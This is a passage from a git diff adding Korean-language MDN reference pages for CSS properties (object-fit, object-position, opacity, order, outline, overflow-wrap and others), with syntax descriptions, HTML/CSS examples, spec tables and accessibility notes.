+-456.8      음의 실수
+0.0         0
++0.0        0, 양의 부호
+-0.0        0, 음의 부호
+.60         앞의 0 없는 소수점 이하 값
+10e3        과학적 표기법
+-3.4e-2     복잡한 과학적 표기법
+
+ +

유효하지 않은 숫자

+ +
12.         소수점 뒤에 최소 하나의 숫자가 존재해야 함
++-12.2      하나의 +/-만 허용
+12.1.1      하나의 소수점만 허용
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#numbers', '<number>')}}{{Spec2('CSS3 Values')}}No significant change.
{{SpecName('CSS2.1', 'syndata.html#numbers', '<number>')}}{{Spec2('CSS2.1')}}Explicit definition.
{{SpecName('CSS1', '', '<number>')}}{{Spec2('CSS1')}}Implicit definition.
+ +

브라우저 호환성

+ +
+

{{Compat("css.types.number")}}

+
+ +

같이 보기

+ +
    +
  • {{cssxref("<integer>")}}
  • +
diff --git a/files/ko/web/css/object-fit/index.html b/files/ko/web/css/object-fit/index.html new file mode 100644 index 0000000000..3c44025c12 --- /dev/null +++ b/files/ko/web/css/object-fit/index.html @@ -0,0 +1,170 @@ +--- +title: object-fit +slug: Web/CSS/object-fit +tags: + - CSS + - CSS Images + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/object-fit +--- +
{{CSSRef}}
+ +

CSS object-fit 속성은 {{HTMLElement("img")}}나 {{HTMLElement("video")}} 요소와 같은 대체 요소의 콘텐츠 크기를 어떤 방식으로 조절해 요소에 맞출 것인지 지정합니다.

+ +

{{cssxref("object-position")}} 속성을 사용해 대체 요소 콘텐츠가 콘텐츠 박스 내에 위치할 지점을 바꿀 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/object-fit.html")}}
+ + + +

구문

+ +

object-fit 속성은 다음 목록 중 하나의 키워드를 사용해 지정합니다.

+ +

+ +
+
contain
+
대체 콘텐츠의 가로세로비를 유지하면서, 요소의 콘텐츠 박스 내부에 들어가도록 크기를 맞춤 조절합니다. 콘텐츠가 콘텐츠 박스 크기에 맞도록 하면서도 가로세로비를 유지하게 되므로, 서로의 가로세로비가 일치하지 않으면 객체가 "레터박스"처럼 됩니다.
+
cover
+
대체 콘텐츠의 가로세로비를 유지하면서, 요소 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 객체 일부가 잘려나갑니다.
+
fill
+
요소 콘텐츠 박스 크기에 맞춰 대체 콘텐츠의 크기를 조절합니다. 콘텐츠가 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 콘텐츠가 늘어납니다.
+
none
+
대체 콘텐츠의 크기를 조절하지 않습니다.
+
scale-down
+
nonecontain 중 대체 콘텐츠의 크기가 더 작아지는 값을 선택합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

이미지에 object-fit 지정

+ +

HTML

+ +
<section>
+  <h2>object-fit: fill</h2>
+  <img class="fill" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="fill narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: contain</h2>
+  <img class="contain" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="contain narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: cover</h2>
+  <img class="cover" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="cover narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: none</h2>
+  <img class="none" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="none narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: scale-down</h2>
+  <img class="scale-down" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="scale-down narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+</section>
+ +

CSS

+ +
h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('이미지에_object-fit_지정', 500, 1100) }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}{{Spec2('CSS4 Images')}}
{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}{{Spec2('CSS3 Images')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.object-fit")}}

+ +

같이 보기

+ +
    +
  • 이미지 관련 다른 CSS 속성: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.
  • +
  • {{cssxref("background-size")}}
  • +
diff --git a/files/ko/web/css/object-position/index.html b/files/ko/web/css/object-position/index.html new file mode 100644 index 0000000000..a53f4e988b --- /dev/null +++ b/files/ko/web/css/object-position/index.html @@ -0,0 +1,123 @@ +--- +title: object-position +slug: Web/CSS/object-position +tags: + - CSS + - CSS Property + - Layout + - Reference + - Replaced Elements + - 대체 요소 +translation_of: Web/CSS/object-position +--- +
{{CSSRef}}
+ +

CSS object-position 속성은 대체 요소의 콘텐츠 정렬 방식을 지정합니다. 대체 요소의 객체가 덮지 않은 부분은 요소의 배경이 보이게 됩니다.

+ +

대체 요소 객체의 고유 크기(수정을 가하지 않은 원래 크기)를 조정해 요소 박스에 맞추는 방법은 {{cssxref("object-fit")}} 속성으로 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/object-position.html")}}
+ + + +

구문

+ +
/* <position> 값 */
+object-position: center top;
+object-position: 100px 50px;
+
+/* 전역 값 */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+
+ +

+ +
+
{{cssxref("<position>")}}
+
객체의 2D 위치를 지정하는 한 개에서 네 개의 값. 상대와 절대 오프셋을 사용할 수 있습니다.
+
+ +
+

참고: 콘텐츠가 대체 요소의 박스 바깥으로 나가도록 지정할 수도 있습니다.

+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

이미지 콘텐츠 위치 지정

+ +

HTML

+ +

두 개의 {{htmlelement("img")}} 요소가 MDN 로고를 가리키는 코드입니다.

+ +
<img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/>
+<img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/>
+
+ +

CSS

+ +

다음 CSS는 두 <img> 요소 모두에 적용할 스타일과 함께, 각각 별도로 적용할 object-position 속성도 지정하고 있습니다.

+ +
img {
+  width: 300px;
+  height: 250px;
+  border: 1px solid black;
+  background-color: silver;
+  margin-right: 1em;
+  object-fit: none;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 100% 10%;
+}
+
+ +

첫 번째 이미지는 요소 박스의 왼쪽 경계로부터 10픽셀 떨어진 곳으로 배치됩니다. 두 번째 이미지는 요소 박스의 오른쪽 경계와 자신의 오른쪽 모서리를 서로 겹치고, 박스의 위쪽 경계로부터 박스 높이의 10% 떨어진 지점으로 배치됩니다.

+ +

결과

+ +

{{ EmbedLiveSample('이미지_콘텐츠_위치_지정', '100%','600px') }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.object-position")}}

+ +

같이 보기

+ +
    +
  • 이미지 관련 다른 CSS 속성: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.
  • +
diff --git a/files/ko/web/css/opacity/index.html b/files/ko/web/css/opacity/index.html new file mode 100644 index 0000000000..6132b0380a --- /dev/null +++ b/files/ko/web/css/opacity/index.html @@ -0,0 +1,144 @@ +--- +title: opacity +slug: Web/CSS/opacity +tags: + - CSS + - CSS Property + - Reference + - 색 +translation_of: Web/CSS/opacity +--- +
{{CSSRef}}
+ +

opacity CSS 속성은 요소의 불투명도를 설정합니다. 불투명도는 요소 뒤쪽 콘텐츠가 숨겨지는 정도로, 투명도의 반대입니다.

+ +
{{EmbedInteractiveExample("pages/css/opacity.html")}}
+ + + +

opacity는 요소의 내용을 포함해 모든 곳에 영향을 주지만 자식 요소가 상속하지는 않습니다. 따라서 요소와 자식의 투명도가 서로 다르더라도 배경에 대해서는 상대적으로 같은 투명도를 갖습니다.

+ +

opacity 값이 1이 아니면 요소를 새로운 쌓임 맥락에 배치합니다.

+ +

자식 요소는 불투명하게 유지하고 싶다면 {{cssxref("background")}} 속성을 대신 사용하세요.

+ +
background: rgba(0, 0, 0, 0.4);
+ +

구문

+ +

+ +
+
<alpha-value>
+
채널의 불투명도(알파 채널의 값)를 나타내는 0.0 이상 1.0 이하의 {{cssxref("number")}}, 또는 0% 이상 100% 이하의 {{cssxref("percentage")}}. 범위 밖의 숫자는 구문 상 유효하지만, 실제 적용 시에는 범위에 맞춰 나머지 값은 버려집니다. + + + + + + + + + + + + + + + + + + + +
0요소가 완전히 투명해 보이지 않음.
01 사이의 아무 <number>요소가 반투명해 뒤의 내용을 볼 수 있음.
1 (기본값)요소가 불투명함.
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본 예제

+ +
div { background-color: yellow; }
+.light {
+  opacity: 0.2; /* 배경 위로 겨우 볼 수 있음 */
+}
+.medium {
+  opacity: 0.5; /* 배경 위로 조금 더 잘 보임 */
+}
+.heavy {
+  opacity: 0.9; /* 배경 위로 뚜렷하게 보임 */
+}
+
+ +
<div class="light">겨우 보이는 글</div>
+<div class="medium">좀 더 잘 보이는 글</div>
+<div class="heavy">쉽게 보이는 글</div>
+
+ +

{{EmbedLiveSample('기본_예제', '640', '64')}}

+ +

:hover 시 다른 불투명도 적용

+ +
img.opacity {
+  opacity: 1;
+}
+
+img.opacity:hover {
+  opacity: 0.5;
+  filter: alpha(opacity=50);
+  zoom: 1;
+}
+ +
<img src="//developer.mozilla.org/static/img/opengraph-logo.png"
+  alt="MDN logo" width="128" height="146"
+  class="opacity">
+ +

{{EmbedLiveSample('hover_시_다른_불투명도_적용', '150', '175')}}

+ +

접근성 고려사항

+ +

글씨의 투명도를 조절했다면, 낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.

+ +

색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 웹 콘텐츠 접근성 가이드라인(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 굵은 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}{{Spec2('CSS3 Transitions')}}Defines opacity as animatable.
{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}{{Spec2('CSS3 Colors')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.opacity", 2)}}

diff --git a/files/ko/web/css/order/index.html b/files/ko/web/css/order/index.html new file mode 100644 index 0000000000..8b25e38777 --- /dev/null +++ b/files/ko/web/css/order/index.html @@ -0,0 +1,110 @@ +--- +title: order +slug: Web/CSS/order +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/order +--- +
{{CSSRef}}
+ +

order CSS 속성은 플렉스 또는 그리드 컨테이너 안에서 현재 요소의 배치 순서를 지정합니다. 컨테이너 아이템의 정렬 순서는 오름차순 order 값이고, 같은 값일 경우 소스 코드의 순서대로 정렬됩니다.

+ +
{{EmbedInteractiveExample("pages/css/order.html")}}
+ + + +

구문

+ +
/* <integer> 값 */
+order: 5;
+order: -5;
+
+/* 전역 값 */
+order: inherit;
+order: initial;
+order: unset;
+ +
+

참고: order 속성은 논리적인 순서나 탭 순서와는 전혀 상관 없이 화면에 보이는 순서에만 영향을 줍니다. 따라서 비시각적 매체에 적용해선 안됩니다.

+
+ +

+ +
+
{{cssxref("<integer>")}}
+
아이템의 순서.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<header>...</header>
+<main>
+  <article>Article</article>
+  <nav>Nav</nav>
+  <aside>Aside</aside>
+</main>
+<footer>...</footer>
+ +

위와 같은 기본적인 HTML에서, 다음 CSS 코드는 콘텐츠 블록을 감싸는, 고전적인 양쪽 사이드바 레이아웃을 만듭니다. Flexible Box Layout 모듈이 자동으로 모든 블록의 높이를 동일하게 하며 가능한 가로축 공간을 모두 분배합니다.

+ +
main { display: flex;  text-align:center; }
+main > article { flex:1;        order: 2; }
+main > nav     { width: 200px;  order: 1; }
+main > aside   { width: 200px;  order: 3; }
+ +

결과

+ +

{{ EmbedLiveSample('Example') }}

+ +

접근성 고려사항

+ +

order 속성을 사용하면 실제 DOM 순서와 화면에 보여지는 콘텐츠의 순서가 서로 연결되지 않습니다. 이는 낮은 시각으로 스크린 리더 등 보조 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적 순서(CSS)가 중요하더라도 스크린 리더 사용자는 제대로 된 읽기 순서를 알 수 없습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.order")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/outline-style/index.html b/files/ko/web/css/outline-style/index.html new file mode 100644 index 0000000000..cc483e5010 --- /dev/null +++ b/files/ko/web/css/outline-style/index.html @@ -0,0 +1,256 @@ +--- +title: outline-style +slug: Web/CSS/outline-style +tags: + - CSS + - CSS Outline + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/outline-style +--- +
{{CSSRef}}
+ +

CSS outline-style 속성은 요소 외곽선의 스타일을 설정합니다. 외곽선은 요소의 테두리 바깥에 그려지는 선입니다.

+ +
{{EmbedInteractiveExample("pages/css/outline-style.html")}}
+ + + +

외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.

+ +

구문

+ +
/* 키워드 값 */
+outline-style: auto;
+outline-style: none;
+outline-style: dotted;
+outline-style: dashed;
+outline-style: solid;
+outline-style: double;
+outline-style: groove;
+outline-style: ridge;
+outline-style: inset;
+outline-style: outset;
+
+/* 전역 값 */
+outline-style: inherit;
+outline-style: initial;
+outline-style: unset;
+
+ +

outline-style 속성은 다음 값 중 하나를 사용해 지정합니다.

+ +

+ +
+
+

auto

+
+
사용자 에이전트가 사용자 지정 외곽선을 그릴 수 있도록 허용합니다.
+
+

none

+
+
외곽선을 제거합니다. {{cssxref("outline-width")}}가 0입니다.
+
+

dotted

+
+
외곽선을 점 여러 개로 그립니다.
+
+

dashed

+
+
외곽선을 짧은 선 여러 개로 그립니다.
+
+

solid

+
+
외곽선을 하나의 선으로 그립니다.
+
+

double

+
+
외곽선을 두 개의 선으로 그립니다. {{cssxref("outline-width")}}는 두 선과 그 사이의 간격을 합친 값입니다.
+
+

groove

+
+
외곽선을 마치 파낸 것처럼 그립니다.
+
+

ridge

+
+
groove의 반대입니다. 외곽선을 마치 튀어나온 것처럼 그립니다.
+
+

inset

+
+
요소가 페이지 안에 박힌 것처럼 외곽선을 그립니다.
+
+

outset

+
+
inset의 반대입니다. 요소가 페이지 밖으로 나온 것처럼 그립니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

외곽선 스타일을 auto로 설정하기

+ +

auto 값은 사용자 지정 스타일을 의미합니다. 일반적으로 플랫폼 기본 사용자 인터페이스 스타일이거나, CSS에서 나타낼 수 있는 것보다 더 풍부한 스타일 (예컨대 둥근 꼭짓점에 바깥쪽 픽셀은 반투명하여 빛나는 것처럼 보이는 외곽선)입니다.

+ +

HTML

+ +
<div>
+  <p class="auto">Outline Demo</p>
+</div> 
+ +

CSS

+ +
.auto {
+  outline-style: auto; /* same result as "outline: auto" */
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } 
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_auto로_설정하기') }}

+ +

외곽선 스타일을 dashed, dotted로 설정하기

+ +

HTML

+ +
<div>
+  <div class="dotted">
+    <p class="dashed">Outline Demo</p>
+  </div>
+</div> 
+ +

CSS

+ +
.dotted {
+  outline-style: dotted; /* same result as "outline: dotted" */
+}
+.dashed {
+  outline-style: dashed;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } 
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_dashed_dotted로_설정하기') }}

+ +

외곽선 스타일을 solid, double로 설정하기

+ +

HTML

+ +
<div>
+  <div class="solid">
+    <p class="double">Outline Demo</p>
+  </div>
+</div> 
+ +

CSS

+ +
.solid {
+  outline-style: solid;
+}
+.double {
+  outline-style: double;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } 
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_solid_double로_설정하기') }}

+ +

외곽선 스타일을 groove, ridge로 설정하기

+ +

HTML

+ +
<div>
+  <div class="groove">
+    <p class="ridge">Outline Demo</p>
+  </div>
+</div>
+ +

CSS

+ +
.groove {
+  outline-style: groove;
+}
+.ridge {
+  outline-style: ridge;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_groove_ridge로_설정하기') }}

+ +

외곽선 스타일을 inset, outset으로 설정하기

+ +

HTML

+ +
<div>
+  <div class="inset">
+    <p class="outset">Outline Demo</p>
+  </div>
+</div>
+ +

CSS

+ +
.inset {
+  outline-style: inset;
+}
+.outset {
+  outline-style: outset;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_inset_outset으로_설정하기') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#outline-style', 'outline-style')}}{{Spec2('CSS3 Basic UI')}}Added auto value.
{{SpecName('CSS2.1', 'ui.html#propdef-outline-style', 'outline-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.properties.outline-style")}}

+
diff --git a/files/ko/web/css/outline-width/index.html b/files/ko/web/css/outline-width/index.html new file mode 100644 index 0000000000..0c25d34eb1 --- /dev/null +++ b/files/ko/web/css/outline-width/index.html @@ -0,0 +1,141 @@ +--- +title: outline-width +slug: Web/CSS/outline-width +tags: + - CSS + - CSS Outline + - CSS Property + - Layout + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/outline-width +--- +
{{CSSRef}}
+ +

CSS outline-width 속성은 요소 외곽선의 두께를 설정합니다. 외곽선은 요소의 테두리 바깥에 그려지는 선입니다.

+ +
{{EmbedInteractiveExample("pages/css/outline-width.html")}}
+ + + +

외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.

+ +

구문

+ +
/* 키워드 값 */
+outline-width: thin;
+outline-width: medium;
+outline-width: thick;
+
+/* <length> 값 */
+outline-width: 1px;
+outline-width: 0.1em;
+
+/* 전역 값 */
+outline-width: inherit;
+
+ +

outline-width 속성은 다음 값 중 하나를 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
외곽선의 두께를 <length>로 설정합니다.
+
thin
+
사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 1px입니다.
+
medium
+
사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 3px입니다.
+
thick
+
사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 5px입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

요소의 외곽선 두께 설정하기

+ +

HTML

+ +
<span id="thin">thin</span>
+<span id="medium">medium</span>
+<span id="thick">thick</span>
+<span id="twopixels">2px</span>
+<span id="oneex">1ex</span>
+<span id="em">1.2em</span>
+
+ +

CSS

+ +
span {
+  outline-style: solid;
+  display: inline-block;
+  margin: 20px;
+}
+
+#thin {
+  outline-width: thin;
+}
+
+#medium {
+  outline-width: medium;
+}
+
+#thick {
+  outline-width: thick;
+}
+
+#twopixels {
+  outline-width: 2px;
+}
+
+#oneex {
+  outline-width: 1ex;
+}
+
+#em {
+  outline-width: 1.2em;
+}
+
+
+ +

결과

+ +

{{EmbedLiveSample('요소의_외곽선_두께_설정하기', '100%', '80')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#outline-width', 'outline-width')}}{{Spec2('CSS3 Basic UI')}}No change.
{{SpecName('CSS2.1', 'ui.html#propdef-outline-width', 'outline-width')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.outline-width")}}

diff --git a/files/ko/web/css/outline/index.html b/files/ko/web/css/outline/index.html new file mode 100644 index 0000000000..4b578c289b --- /dev/null +++ b/files/ko/web/css/outline/index.html @@ -0,0 +1,158 @@ +--- +title: outline +slug: Web/CSS/outline +tags: + - CSS + - CSS Outline + - CSS Property + - Layout + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/outline +--- +
{{CSSRef}}
+ +

CSS outline 단축 속성은 모든 외곽선 속성을 한꺼번에 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/outline.html")}}
+ + + +

구성 속성

+ +

outline은 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("outline-color")}}
  • +
  • {{cssxref("outline-style")}}
  • +
  • {{cssxref("outline-width")}}
  • +
+ +

구문

+ +
/* style */
+outline: solid;
+
+/* color | style */
+outline: #f66 dashed;
+
+/* style | width */
+outline: inset thick;
+
+/* color | style | width */
+outline: green solid 3px;
+
+/* 전역 값 */
+outline: inherit;
+outline: initial;
+outline: unset;
+
+ +

outline 속성은 아래의 값 중 한 개에서 세 개를 사용해 지정할 수 있으며 순서는 상관하지 않습니다.

+ +
+

참고: 많은 요소의 외곽선은 스타일을 지정하지 않을 경우 보이지 않습니다. 스타일 기본값이 none이기 때문인데, 주목할만한 예외는 {{htmlelement("input")}} 요소로 브라우저의 기본 스타일이 적용됩니다.

+
+ +

+ +
+
<'outline-color'>
+
외곽선의 색을 설정합니다. 누락 시 기본값은 currentcolor입니다. {{cssxref("outline-color")}}를 참고하세요.
+
<'outline-style'>
+
외곽선의 스타일을 설정합니다. 누락 시 기본값은 none입니다. {{cssxref("outline-style")}}을 참고하세요.
+
<'outline-width'>
+
외곽선의 두께를 설정합니다. 누락 시 기본값은 medium입니다. {{cssxref("outline-width")}}를 참고하세요.
+
+ +

설명

+ +

테두리와 외곽선은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.

+ +
    +
  • 외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.
  • +
  • 명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.
  • +
+ +

다른 모든 단축 속성과 마찬가지로, 누락한 하위 속성의 값은 초깃값으로 설정됩니다.

+ +

접근성 고려사항

+ +

outline0 또는 none 값을 지정하면 브라우저의 기본 포커스 스타일이 사라집니다. 만약 어떤 요소가 상호작용 가능하다면 반드시 시각으로 포커스 여부를 나타낼 수 있어야 합니다. 기본 포커스 스타일을 제거한 경우 다른 뚜렷한 대안을 제공하세요.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

외곽선으로 포커스 스타일 설정

+ +

HTML

+ +
<a href="#">This link has a special focus style.</a>
+
+ +

CSS

+ +
a {
+  border: 1px solid;
+  border-radius: 3px;
+  display: inline-block;
+  margin: 10px;
+  padding: 5px;
+}
+
+a:focus {
+  outline: 4px dotted #e73;
+  outline-offset: 4px;
+  background: #ffa;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("외곽선으로_포커스_스타일_설정", "100%", 60)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#outline', 'outline')}}{{Spec2('CSS3 Basic UI')}}No change.
{{SpecName('CSS2.1', 'ui.html#propdef-outline', 'outline')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.properties.outline")}}

+
diff --git a/files/ko/web/css/overflow-wrap/index.html b/files/ko/web/css/overflow-wrap/index.html new file mode 100644 index 0000000000..b2241a5b61 --- /dev/null +++ b/files/ko/web/css/overflow-wrap/index.html @@ -0,0 +1,118 @@ +--- +title: overflow-wrap +slug: Web/CSS/overflow-wrap +tags: + - CSS + - CSS Property + - CSS Text + - Reference +translation_of: Web/CSS/overflow-wrap +--- +
{{CSSRef}}
+ +

overflow-wrap CSS 요소는 어떤 문자가 내용 칸 밖으로 넘치지 않게 브라우저가 단어 마디 안에 줄을 바꿔야 할 것인지 아닌지를 정할 때 사용됩니다.

+ +
Note: {{cssxref("word-break")}}와는 달리, overflow-wrap은 모든 단어가 넘치지 않으면 자신의 줄 안에 놓여 있을 수 없을 때 줄 바꿈을 한 번만 할 것입니다.
+ +

이 속성은 처음에 마이크로소프트에서 표준이 아니고 접두어가 없는 word-wrap으로 나왔고, 대부분 브라우저에서 똑같은 이름으로 구현되었습니다. 요즘은 overflow-wrap으로 다시 지어지고, word-wrap은 동의어가 되었습니다.

+ +

구문

+ +
/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+
+ +

overflow-wrap 속성은 아래에 나열돼 있는 값들 중 단 하나로 정해집니다.

+ +

+ +
+
normal
+
줄이 오직 (두 단어 사이의 공백과 같이) 보통의 줄 바꿈 지점에서만 줄을 바꿉니다.
+
break-word
+
보통 안 바꿔지는 단어들을 한 줄에서 대신 줄을 바꿀 만한 지점이 없을 시 임의의 지점에서 줄을 바꿉니다.
+
+ +

기본적인 구문

+ +
{{csssyntax}}
+ +

예시

+ +

이 예시는 긴 단어를 넘길 때 overflow-wrap, word-break, 그리고 hyphens의 결과를 비교합니다.

+ +

HTML

+ +
<p class="normal">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (normal)</p>
+<p class="overflow-wrap">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (overflow-wrap)</p>
+<p class="word-break">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (word-break)</p>
+<p class="hyphens">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (hyphens)</p>
+ +

CSS

+ +
p {
+  width: 13em;
+  background: gold;
+}
+
+.overflow-wrap {
+  overflow-wrap: break-word;
+}
+
+.word-break {
+  word-break: break-all;
+}
+
+.hyphens {
+  hyphens: auto;
+}
+
+ +

Result

+ +

{{ EmbedLiveSample('Example', '100%', 260) }}

+ +

사양

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("css.properties.overflow-wrap")}}

+ + + +

바로 보기

+ +
    +
  • {{cssxref("word-break")}}
  • +
diff --git a/files/ko/web/css/overflow/index.html b/files/ko/web/css/overflow/index.html new file mode 100644 index 0000000000..5e5e2296ae --- /dev/null +++ b/files/ko/web/css/overflow/index.html @@ -0,0 +1,146 @@ +--- +title: overflow +slug: Web/CSS/overflow +tags: + - CSS + - CSS Box Model + - CSS Property + - Layout + - Reference +translation_of: Web/CSS/overflow +--- +
{{CSSRef}}
+ +

overflow CSS 단축 속성은 요소의 콘텐츠가 너무 커서 요소의 블록 서식 맥락에 맞출 수 없을 때의 처리법을 지정합니다. {{cssxref("overflow-x")}}, {{cssxref("overflow-y")}}의 값을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/overflow.html")}}
+ + + +

